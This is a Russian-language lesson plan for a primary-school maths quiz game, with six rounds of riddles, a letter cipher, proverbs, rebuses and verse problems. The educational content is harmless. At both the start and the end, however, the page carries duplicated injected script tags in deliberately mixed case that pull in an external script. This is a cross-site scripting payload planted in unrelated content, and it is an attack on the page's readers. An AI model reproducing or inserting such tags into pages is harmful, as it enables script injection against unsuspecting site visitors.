<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

15.03.2018

КГУ «СШ 37 лет Октября»

Интеллектуальная игра

по математике

«Математический сундучок»

(Неделя

начальных классов)

Подготовила:

Ищенко С.В.

Класс: 1-2

Количество: 18

2018г.

Интеллектуальная игра по математике

«Математический сундучок»

Цель: повышение интереса учащихся к изучению математики,

формирование умений выполнять задания данные в нестандартной форме (ребусы,

шифровки, задачи), развитие логического мышления; воспитывать честность,

доверие, доброжелательное отношение друг к другу.

Задачи

игры:

формирование
устойчивого интереса у учащихся к изучению предмета математики;
создание
условий для практического применения приобретенных знаний, умений и
навыков по математике;
развитие
индивидуальных творческих способностей учащихся, упрочение контактов среди
учащихся школы на основе доброжелательных отношений, взаимовыручки и
взаимопонимания.

Ход игры:

Стартер: видео фрагмент

«Дважды два – четыре»

(Слайд 1)

Ведущий:

Здравствуйте-здравствуйте, дорогие ребята! Я рада вас приветствовать в этом уютном

классе. Мы сегодня с вами собрались на интеллектуальную

игру «Математический сундучок». (Слайд 2)

Давайте же поаплодируем и

поприветствуем друг друга! (Аплодисменты)

- Замечательно, а теперь что наше настроение стало еще лучше, мы проведем с

вами маленький опрос. Я буду

задавать вопросы, а вы если это вам подходит, то в ответ говорить «Ну,

конечно, это я!» (Слайд 3)

Кто сегодня проснулся рано?

2. Кто сделал зарядку?

3. Кто сегодня завтракал?

4. Кто в школу пришел во время?

5. Кто любит своих друзей?

6. А кто любит урок математики?

7. Кто готов трудиться добросовестно?

8. Кто хочет узнать много нового?

9. Кто сегодня в хорошем настроении?

10. Кто готов начать игру?

- Молодцы! Ну, чтобы начать игру, мы должны распределить на команды. Мы сделаем

– это следующим образом: выберите понравившуюся вам фигуру( треугольники,

квадраты, круги). У нас образовалось три

команды по 6 человек. (Слайд 4)

Первая команда «Пять с плюсом», вторая команда «Числовые гении», третья

команда «Икс, игрек и друзья». Выберите

капитанов команд и рассаживайтесь за свои столы. Команды, ну а так как это игра

математическая, попрощу представителей от команды взять математическое название

и девиз:

1) Команда «Пять с плюсом»

Чтобы очень умным быть,

Математику, дружок, надо полюбить!

2) Команда «Числовые гении»

Нам числа, как братья родные,

Мы математики, люди

непростые!

3) Команда «Икс, игрек и друзья»

Мы команда, просто класс

Игрек, икс теперь за нас!

- Команды известны! Итак, первая команда дружно назовите свое название и девиз!

Вторая, затем третья!

- Браво, давайте друг другу поаплодируем! А теперь все тихонечко сели,

успокоились и послушали правила игры.

(Слайд 5)

В нашей игре 6 раундов, на каждом этапе команды будут получать очки, в

конце подведем итог и мы узнаем, как распределять места между командами. Важное

правило для команд, за плохое поведение жюри снимает баллы. Давайте

поприветствуем наше уважаемое жюри: Мукосей Л. А., Акопян Е. Ю.

Ребята, желаю всем удачи! Игра началась!!!

(Слайд 6)

Инсценирование сказки «Сказка

о царстве наук»

(Слайд 7)

Давным - давно существовало

царство наук. Царем там было Естествознание, царицей – Математика, царевной –

Литература. И много слуг прислуживало царской семье.

Однажды Царица поссорилась со

своим супругом. «Ах, так, - воскликнула она, - попробуйте обойтись без

меня. В сердцах хлопнула дверью и умчалась в другую страну.

Сначала все вздохнули с

облегчением. Но вскоре начался настоящий переполох. Оказалось, что Литература

не может пронумеровать главы, части и страницы в романах и поэмах.

Естествознание сбилось со счета планет в Галактике, дней, месяцев и недель

в году. История не может установить точные даты событий, география –

вычислить расстояние между городами, строители не могут возвести новый замок, а

повар не знает, как взвесить продукты для приготовления обеда. Никто не смог

обойтись без Математики.

Тогда послали гонцов по всему

свету, отыскали Математику и попросили ее вернуться назад в царство наук.

Царица Математика вернулась в свою страну, и с тех пор в науках

воцарился порядок. Математика – царица всех наук.

- Ребята, желаю всем удачи!

Игра началась!!!

(Слайд

1 РАУНД «РАЗМИНОЧКА»

Ведущий: - На первом раунде каждой команде по очереди будет задаваться 3

вопроса, каждый правильный ответ приносит 1 балл.

(Слайд 9)

1 команда

1. Как найти неизвестное 1

слагаемое?

2. На что

похожа половина яблока?

3.Сколько минут в одном

часе?

2 команда

1. Как найти неизвестное вычитаемое?

2. На одной чаше весов лежит арбуз, а на

другой - гиря 3 кг. Весы находятся в равновесии. Сколько весит арбуз?

3.Сколько дней в году?

3 команда

1. Как найти неизвестное уменьшаемое

2. Гусь, стоя на одной ноге весит 4 кг,

сколько будет весить гусь стоя на двух ногах?

3.Сколько часов в 1 сутках?

(Слайд 10)

Жюри подводит

итоги

- Молодцы,

пришло время 2 раунда

(Слайд 11)

2 РАУНД

«ШИФРОВКА»

Ведущий: Каждая

команда получила по 2 слова, но вся проблема в том, что они зашифрованы. А

поможет вам расшифровать эти слова следующий слайд. Каждой цифре соответствует

буква. Команда, которая расшифрует слова поднимает руки и говорит «Мы все »

(Слайд 12)

РАСШИФРОВКА

1-А, 2-Б, 3-В,

4-Г, 5-Д, 6-Е,

7-Ё, 8-Ж, 9-З, 10-И,

11-Й, 12-К, 13-Л,

14-М, 15-Н, 16-О, 17-П, 18-Р,

19-С, 20-Т, 21-У, 22-Ф, 23-Х, 24-Ц,

25-Ч, 26-Ш, 27-Щ,

28-Ъ, 29-Ы, 30-Ь,

31-Э, 32-Ю, 33-Я.

(Слайд 13)

Внимание правильные ответы!

1 команда

Слова

1. МИНУС (14, 10, 15, 21, 19)

2. ЗАДАЧА (9, 1, 5, 1, 25, 1)

2 команда

3. ДЕЛЕНИЕ (5, 6, 13, 6, 15, 10, 6)

4. ПЛЮС (17, 13, 32, 19)

3 команда

5. УГОЛ (21, 4, 16, 13)

6. РЕШЕНИЕ (18, 6, 26,

6, 15, 10, 6)

(Слайд 14)

Замечательно! Готовы идти дальше? Так давайте двигаться!

(Слайд 15)

3 РАУНД «Думай-ка»

Ведущий: Вы должны собрать пословицы, которые содержат цифры.

(Слайд 16)

Один в поле не воин.

(Слайд 17)

Семеро одного не ждут.

(Слайд 18)

Одна голова хорошо, а две лучше.

(Слайд 19)

Семь раз отмерь, один раз отрежь.

(Слайд 20)

Лучше

один раз увидеть, чем сто раз услышать.

(Слайд 21)

Не

имей сто рублей, а имей сто друзей.

(Слайд

22)

Молодцы!

(Слайд 23)

Физкультминутка. Музыкальная пауза.

(Слайд 24)

4. РАУНД «РЕБУСЫ»

- Каждой команде дано 2 ребуса. И вам сейчас предстоит их расшифровать.

1 команда

(Слайд 25)

мел

(Слайд 26)

2команда

(Слайд 27)

восемь

(Слайд 28)

линейка

3 команда

(Слайд 29)

доска

(Слайд 30)

указка

(слайд 31)

Вы супер!

(Слайд 32)

5 РАУНД «Считай-ка» Ведущий:

(Слайд 33)

Посчитайте

сколько в этой фигуре треугольников, запишите на бумаге.

(Слайд

34)

Назовите

пространственные фигуры, запишите их.

(Слайд

35)

Вы сейчас в

течение 10 секунд будете смотреть на аппликацию, затем вам дадут геометрические

фигуры и вы должны будете повторить аппликацию, которая была на слайде. Пока

звучит музыка. Будьте внимательно, аппликацию вы будете видеть только 10

секунд.

ЗАПОМИНАЙТЕ!

(Слайд 36)

Вы молодцы! Игра движется к завершению.

И настал 6 раунд.

(Слайд 37)

6 РАУНД «Задачки в стихах»

Ведущий: - А, значит, вас ждут веселые задачки! Вот послушайте:

(Слайд 38)

1 команда

Тройка лошадей пробежала 30

км,

сколько километров пробежала каждая из

лошадей?

2 команда

На

столе горели 8 свечей, две из них погасли.

Сколько

свечей осталось?

3 команда

Что легче килограмм ваты или килограмм железа?

(Слайд 39)

Ведущий:

Последнее наше задание, в котором каждая команда может себе заработать

дополнительные очки и выйти вперед!

В каких словах 100 согласных букв? Чем больше вы напишите слов, тем

больше очков вы заработаете.

(Слайд 40)

(Стон,

стог, сток, стоп, стол)

(Слайд 41)

Молодцы!

Ведущий:

Дорогие ребята, я благодарю вас такую

красивую игру! Попросим жюри подвести итоги нашей игры.

Слово

жюри. Награждение команд. (Слайд

42)

Ведущий:

- Дорогие друзья, я желаю вам крепкого

здоровья, хорошего настроения и отличной учебы! До новых встреч!

(Слайд 43)

<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Пікір қосу